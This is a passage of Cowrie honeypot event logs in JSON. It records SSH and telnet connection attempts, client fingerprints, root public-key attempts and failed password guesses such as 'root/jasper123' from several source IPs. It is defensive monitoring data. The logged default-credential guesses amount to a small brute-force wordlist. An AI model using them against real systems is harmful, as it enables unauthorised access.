-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:44:11.793813Z","src_ip":"31.40.204.166","session":"705b7845781c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"app123","message":"login attempt [app/app123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:44:12.221762Z","src_ip":"31.40.204.166","session":"705b7845781c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":21.426727056503296,"message":"Connection lost after 21 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:44:13.005226Z","src_ip":"152.42.224.71","session":"9db5306508ae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:44:13.403879Z","src_ip":"31.40.204.166","session":"705b7845781c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.134.49.6","src_port":46176,"dst_ip":"10.17.0.5","dst_port":22,"session":"3fc74e52a147","protocol":"ssh","message":"New connection: 185.134.49.6:46176 (10.17.0.5:22) [session: 3fc74e52a147]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:44:14.842845Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:44:14.848896Z","src_ip":"185.134.49.6","session":"3fc74e52a147","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60398,"dst_ip":"10.17.0.5","dst_port":23,"session":"c27b40238501","protocol":"telnet","message":"New connection: 152.42.224.71:60398 (10.17.0.5:23) [session: c27b40238501]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:44:14.907078Z"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:44:14.978619Z","src_ip":"185.134.49.6","session":"3fc74e52a147","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.59936451911926,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:44:15.160672Z","src_ip":"152.42.224.71","session":"2e74dde3a8d4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60404,"dst_ip":"10.17.0.5","dst_port":23,"session":"f095c4328676","protocol":"telnet","message":"New connection: 152.42.224.71:60404 (10.17.0.5:23) [session: f095c4328676]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:44:15.196239Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60414,"dst_ip":"10.17.0.5","dst_port":23,"session":"43b493b105f7","protocol":"telnet","message":"New connection: 152.42.224.71:60414 (10.17.0.5:23) [session: 43b493b105f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:44:15.251209Z"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6e:04:fa:a7:84:b0:0c:91:5f:d6:11:b5:bd:27:b8:ce","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDUu+GsBcEHsEjdtub+X2EteP4BD+5jviB5Sz3bDuYfCe+S6lNlsb63Na6T8B2PZje+NvRVO6Hop8+H+qqfXAOu3J1GMxICBs+sdd+pT0rYaT4+jBb9GlPGS6lviBXNArsYlqq+ha6o5HIyJrHJhiVZIGfwf9u5TlCZBxtrQKEYZtS3nT/tRq2gF+eyArkM102l0ZVmXYqtWOkXw+cmmYM0ArSFB6zmAPUK48KOOs3RO1AhozX0oiP8Ce6CBLMnW8qEqRWpw8cRKpYZVoe4IDdDC7z3yjkeC8JVS/U/s97FEXL8VCRhaptg8z7tQ+0Q9Z8dATjeDGXriMptqPeUqzUZ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6e:04:fa:a7:84:b0:0c:91:5f:d6:11:b5:bd:27:b8:ce","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:44:15.593577Z","src_ip":"185.134.49.6","session":"3fc74e52a147","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6e:04:fa:a7:84:b0:0c:91:5f:d6:11:b5:bd:27:b8:ce","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDUu+GsBcEHsEjdtub+X2EteP4BD+5jviB5Sz3bDuYfCe+S6lNlsb63Na6T8B2PZje+NvRVO6Hop8+H+qqfXAOu3J1GMxICBs+sdd+pT0rYaT4+jBb9GlPGS6lviBXNArsYlqq+ha6o5HIyJrHJhiVZIGfwf9u5TlCZBxtrQKEYZtS3nT/tRq2gF+eyArkM102l0ZVmXYqtWOkXw+cmmYM0ArSFB6zmAPUK48KOOs3RO1AhozX0oiP8Ce6CBLMnW8qEqRWpw8cRKpYZVoe4IDdDC7z3yjkeC8JVS/U/s97FEXL8VCRhaptg8z7tQ+0Q9Z8dATjeDGXriMptqPeUqzUZ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:44:15.597774Z","src_ip":"185.134.49.6","session":"3fc74e52a147","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f7:50:8c:a0:a2:6d:4f:49:f8:c8:0d:d7:6c:3b:09:21","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCVqj2zMKk/nySTuJnXyL/1GpZ9SfP8XijCvKgruv6R1CNISSIspzLYDjJzLcQ75jc6sBetXpXsJaDQEVnLYTiO1m9tGLNc8Rr+3hcIL5xHdUDpfJyMbHq3rXPsnDROXGvePvRsmEiU31ENdgLGQ5oXvBI2H8dNH6uYyNX/JD/gCtwml7DMHlSLGdE6N4EdTY6t6RO5lnJAKPRdIecp3D1Xq2S4DUeZh/dWyXKGdJA04w0dJDSNg84jp0wtwU7o4rr91WFRB4POlwRHaou5WDIXcfBxfQSfPYjVL74Sp7RO4h8D/9k2ytJ/B9dEHcpc/4FRRW4DeBbIvAdADHDv8Wub","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f7:50:8c:a0:a2:6d:4f:49:f8:c8:0d:d7:6c:3b:09:21","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:44:15.725843Z","src_ip":"185.134.49.6","session":"3fc74e52a147","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f7:50:8c:a0:a2:6d:4f:49:f8:c8:0d:d7:6c:3b:09:21","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCVqj2zMKk/nySTuJnXyL/1GpZ9SfP8XijCvKgruv6R1CNISSIspzLYDjJzLcQ75jc6sBetXpXsJaDQEVnLYTiO1m9tGLNc8Rr+3hcIL5xHdUDpfJyMbHq3rXPsnDROXGvePvRsmEiU31ENdgLGQ5oXvBI2H8dNH6uYyNX/JD/gCtwml7DMHlSLGdE6N4EdTY6t6RO5lnJAKPRdIecp3D1Xq2S4DUeZh/dWyXKGdJA04w0dJDSNg84jp0wtwU7o4rr91WFRB4POlwRHaou5WDIXcfBxfQSfPYjVL74Sp7RO4h8D/9k2ytJ/B9dEHcpc/4FRRW4DeBbIvAdADHDv8Wub","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:44:15.730193Z","src_ip":"185.134.49.6","session":"3fc74e52a147","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6a:fe:e5:ed:a8:e7:98:26:be:3f:6d:a6:f7:f6:fe:b5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA5X2cOQ8dn+2S4OpScxcYd5ck1YkKo492gT7LvVJFm5ACFpCg/uIx5NK0kAqUPYyfqmsJD1Hw/QO6yL2kuylXzKKYgy6TU9H5N8GJzpDYNM1NFofG28OfxopK+eo/QxadenPX0DZ9OB6NvqiogqwMz1pIrcTJjBrwojtnka397MMXet846kB3xpjdqJAGSKqmk/HvBpQ2J9oUgD30zeMBofGXbodUt+DCALT2FM+aeuIvesn1ARcCesT1jRaXayKjcN2EC+rcadyFelMezNN+RePL21WbjV2KNS5XJ/b7XyIo3iN3m6GE2nNf6X2YFyRngHqoTuFlUnSiVARSRjtM9w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6a:fe:e5:ed:a8:e7:98:26:be:3f:6d:a6:f7:f6:fe:b5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:44:15.858083Z","src_ip":"185.134.49.6","session":"3fc74e52a147","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6a:fe:e5:ed:a8:e7:98:26:be:3f:6d:a6:f7:f6:fe:b5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA5X2cOQ8dn+2S4OpScxcYd5ck1YkKo492gT7LvVJFm5ACFpCg/uIx5NK0kAqUPYyfqmsJD1Hw/QO6yL2kuylXzKKYgy6TU9H5N8GJzpDYNM1NFofG28OfxopK+eo/QxadenPX0DZ9OB6NvqiogqwMz1pIrcTJjBrwojtnka397MMXet846kB3xpjdqJAGSKqmk/HvBpQ2J9oUgD30zeMBofGXbodUt+DCALT2FM+aeuIvesn1ARcCesT1jRaXayKjcN2EC+rcadyFelMezNN+RePL21WbjV2KNS5XJ/b7XyIo3iN3m6GE2nNf6X2YFyRngHqoTuFlUnSiVARSRjtM9w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:44:15.862521Z","src_ip":"185.134.49.6","session":"3fc74e52a147","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47372,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c4b405807cb","protocol":"telnet","message":"New connection: 152.42.224.71:47372 (10.17.0.5:23) [session: 4c4b405807cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:44:15.877642Z"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c5:0f:5d:b3:8c:55:c1:78:89:33:24:4b:fc:24:35:c6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDl8GYe3HUcqU6g+YsnUWf9sv2XdGbZ2SnLlIVkThFq+ea5UHNUOLqCqdsD0lBB+ed+9KYy+ga/DQ8Fd7cNrZiYxHDLjqAPt3kg1TNZVSSZfits5sx5orfknrwObodER2MFT+1XqdrGKhwWPXtaxpiFGsfeqGbjZlP5GT5ZFuzt9FDJj+9hIo5UJdu/mZ5bBsJZmL3D0Q3YLQBElqHtvalRUad0a/ZBUP6EOLCDtRluKvDwSASewDHw4+ggGQiKY9lumOHNQeuRf0ObOU2GhScLgFyGpu7LjwpkwHRw2BwR/dCiziyrLxR+EAaXjutHy047uF4YpikUxWc7qBTRgV9x","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c5:0f:5d:b3:8c:55:c1:78:89:33:24:4b:fc:24:35:c6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:44:15.997484Z","src_ip":"185.134.49.6","session":"3fc74e52a147","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c5:0f:5d:b3:8c:55:c1:78:89:33:24:4b:fc:24:35:c6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDl8GYe3HUcqU6g+YsnUWf9sv2XdGbZ2SnLlIVkThFq+ea5UHNUOLqCqdsD0lBB+ed+9KYy+ga/DQ8Fd7cNrZiYxHDLjqAPt3kg1TNZVSSZfits5sx5orfknrwObodER2MFT+1XqdrGKhwWPXtaxpiFGsfeqGbjZlP5GT5ZFuzt9FDJj+9hIo5UJdu/mZ5bBsJZmL3D0Q3YLQBElqHtvalRUad0a/ZBUP6EOLCDtRluKvDwSASewDHw4+ggGQiKY9lumOHNQeuRf0ObOU2GhScLgFyGpu7LjwpkwHRw2BwR/dCiziyrLxR+EAaXjutHy047uF4YpikUxWc7qBTRgV9x","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:44:16.002654Z","src_ip":"185.134.49.6","session":"3fc74e52a147","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.85.41.170","src_port":55502,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a22c010d315","protocol":"ssh","message":"New connection: 190.85.41.170:55502 (10.17.0.5:22) [session: 8a22c010d315]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:44:16.013351Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:44:16.021286Z","src_ip":"190.85.41.170","session":"8a22c010d315","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:44:16.097471Z","src_ip":"190.85.41.170","session":"8a22c010d315","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f5:15:57:01:de:df:d9:98:ea:e9:2c:6d:d9:88:17:d7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAtE1HxW8UauBK2Ncaug0ExEQv5N4vwXUl2gmf2ssaAvhsZri0bTyJNCv/Z3xzZrWv/w77TGgBScovIlxxIHDFyhJXVaGqOUwymUfNusNJU1JucyArzdU3PBD/ceQFlWjDvcva9C9UiypxScMH+LjmhNTfXMv4rjdKstdBdMNbHR1MOdMhna+Q5zrJVKPvaIIbZMznb54eI3rKBVH//h9vg6Lqh2IXIKtqKjvKdlMvEUySImrCCZHCUIrXo9TO90+quwNucIv1EDq4yhksjyCf8i4NZ8UBJUOWzuLHDF0XEgr9S5fDrKNwkCQQxpXp7E1zgpXsDBq7aGJWTa7w/mbvUQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f5:15:57:01:de:df:d9:98:ea:e9:2c:6d:d9:88:17:d7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:44:16.132699Z","src_ip":"185.134.49.6","session":"3fc74e52a147","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f5:15:57:01:de:df:d9:98:ea:e9:2c:6d:d9:88:17:d7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAtE1HxW8UauBK2Ncaug0ExEQv5N4vwXUl2gmf2ssaAvhsZri0bTyJNCv/Z3xzZrWv/w77TGgBScovIlxxIHDFyhJXVaGqOUwymUfNusNJU1JucyArzdU3PBD/ceQFlWjDvcva9C9UiypxScMH+LjmhNTfXMv4rjdKstdBdMNbHR1MOdMhna+Q5zrJVKPvaIIbZMznb54eI3rKBVH//h9vg6Lqh2IXIKtqKjvKdlMvEUySImrCCZHCUIrXo9TO90+quwNucIv1EDq4yhksjyCf8i4NZ8UBJUOWzuLHDF0XEgr9S5fDrKNwkCQQxpXp7E1zgpXsDBq7aGJWTa7w/mbvUQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:44:16.136405Z","src_ip":"185.134.49.6","session":"3fc74e52a147","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:44:16.272009Z","src_ip":"185.134.49.6","session":"3fc74e52a147","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"teste123","message":"login attempt [root/teste123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:44:16.436252Z","src_ip":"190.85.41.170","session":"8a22c010d315","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.72261834144592,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:44:17.509565Z","src_ip":"152.42.224.71","session":"2d7519a7c92f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:44:17.516572Z","src_ip":"190.85.41.170","session":"8a22c010d315","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.93.50.90","src_port":50562,"dst_ip":"10.17.0.5","dst_port":22,"session":"cc10521293dd","protocol":"ssh","message":"New connection: 182.93.50.90:50562 (10.17.0.5:22) [session: cc10521293dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:44:22.147508Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:44:22.152741Z","src_ip":"182.93.50.90","session":"cc10521293dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:44:22.372910Z","src_ip":"182.93.50.90","session":"cc10521293dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47382,"dst_ip":"10.17.0.5","dst_port":23,"session":"33df71c5b071","protocol":"telnet","message":"New connection: 152.42.224.71:47382 (10.17.0.5:23) [session: 33df71c5b071]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:44:22.770634Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"jasper123","message":"login attempt [root/jasper123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:44:23.284472Z","src_ip":"182.93.50.90","session":"cc10521293dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":52384,"dst_ip":"159.203.135.109","dst_port":22,"session":"bf579a85d6ab","protocol":"ssh","message":"New connection: 31.40.204.166:52384 (159.203.135.109:22) [session: bf579a85d6ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:44:23.482522Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:44:23.491500Z","src_ip":"31.40.204.166","session":"bf579a85d6ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:44:23.616965Z","src_ip":"31.40.204.166","session":"bf579a85d6ab","protocol":"ssh"}
